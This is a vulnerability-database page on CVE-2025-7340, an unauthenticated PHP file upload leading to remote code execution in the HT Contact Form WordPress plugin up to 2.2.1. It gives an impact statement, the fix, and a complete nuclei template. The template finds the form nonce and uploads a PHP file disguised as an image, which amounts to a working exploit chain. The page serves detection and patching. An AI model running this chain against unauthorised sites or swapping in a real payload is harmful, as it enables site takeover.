HexBrain

Browse / CVEs / CVE-2025-7340

CVE-2025-7340· hasthemes / ht-contactform· CWE-434

HT Contact Form Widget for Elementor <= 2.2.1 - Unauthenticated Arbitrary File Upload

criticalseverity
9.8CVSS score
6%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 2.2.1 due to missing file type validation in the temp_file_upload() function. The handler is registered on the wp_ajax_nopriv_ht_form_temp_file_upload action, so an unauthenticated attacker holding a form nonce (exposed on any page rendering the [ht_form] widget) can upload a PHP file to wp-content/uploads/ht_form/temp/ and execute it, achieving remote code execution.

Impact

An unauthenticated attacker can upload and execute arbitrary PHP on the server, leading to full remote code execution and site compromise.

Fix

Update HT Contact Form Widget to 2.2.2 or later, which validates the uploaded file extension with wp_check_filetype() and rejects disallowed types.

How to confirm it

Send: GET /wp-json/wp/v2/pages?search=ht_form&_fields=link
Positive when: contains "\"link\""
Send: GET /{{slug}}/
Positive when: contains "ht_form" and "\"nonce\""
Send: POST /wp-admin/admin-ajax.php?action=ht_form_temp_file_upload
Positive when: contains "\"success\":true" and "\"file_id\""
Send: GET /wp-content/uploads/ht_form/temp/{{fileid}}
Positive when: contains(body, md5(canary)) AND status 200

Run it with nuclei: nuclei -id CVE-2025-7340 -u <target>

The full check
id: CVE-2025-7340

info:
  name: HT Contact Form Widget for Elementor <= 2.2.1 - Unauthenticated Arbitrary File Upload
  author: DhiyaneshDk
  severity: critical
  description: |
    The HT Contact Form Widget For Elementor Page Builder & Gutenberg Blocks & Form Builder plugin for WordPress is vulnerable to arbitrary file upload in all versions up to and including 2.2.1 due to missing file type validation in the temp_file_upload() function. The handler is registered on the wp_ajax_nopriv_ht_form_temp_file_upload action, so an unauthenticated attacker holding a form nonce (exposed on any page rendering the [ht_form] widget) can upload a PHP file to wp-content/uploads/ht_form/temp/ and execute it, achieving remote code execution.
  impact: |
    An unauthenticated attacker can upload and execute arbitrary PHP on the server, leading to full remote code execution and site compromise.
  remediation: |
    Update HT Contact Form Widget to 2.2.2 or later, which validates the uploaded file extension with wp_check_filetype() and rejects disallowed types.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-7340
    - https://github.com/advisories/GHSA-85f4-4cwm-5xmr
    - https://wpscan.com/vulnerability/91f39d58-1379-4908-bdeb-9c9bce39fb2c/
    - https://plugins.trac.wordpress.org/changeset?old_path=/ht-contactform/tags/2.2.1&new_path=/ht-contactform/tags/2.2.2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-7340
    epss-score: 0.01751
    epss-percentile: 0.7806
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 4
    vendor: hasthemes
    product: ht-contactform
    framework: wordpress
    publicwww-query: "/wp-content/plugins/ht-contactform/"
  tags: cve,cve2025,wordpress,wp-plugin,ht-contactform,fileupload,rce,unauth,intrusive,vkev

variables:
  canary: "{{to_lower(rand_text_alpha(16))}}"
  fname: "{{to_lower(rand_text_alpha(8))}}"
  boundary: "{{rand_base(24)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?search=ht_form&_fields=link HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"link"'
        internal: true

    extractors:
      - type: regex
        name: slug
        part: body
        internal: true
        group: 1
        regex:
          - '"link":"[^"]*?\\/([a-zA-Z0-9_-]+)\\/?"'

  - raw:
      - |
        GET /{{slug}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'ht_form'
          - '"nonce"'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'ht_form\s*=\s*\{[^}]*?"nonce":"([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=ht_form_temp_file_upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary={{boundary}}

        --{{boundary}}
        Content-Disposition: form-data; name="_wpnonce"

        {{nonce}}
        --{{boundary}}
        Content-Disposition: form-data; name="ht_form_file"; filename="{{fname}}.php"
        Content-Type: image/jpeg

        <?php echo md5("{{canary}}"); ?>
        --{{boundary}}--

    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"file_id"'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: fileid
        part: body
        internal: true
        group: 1
        regex:
          - '"file_id":"([^"]+\.php)"'

  - raw:
      - |
        GET /wp-content/uploads/ht_form/temp/{{fileid}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, md5(canary))'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from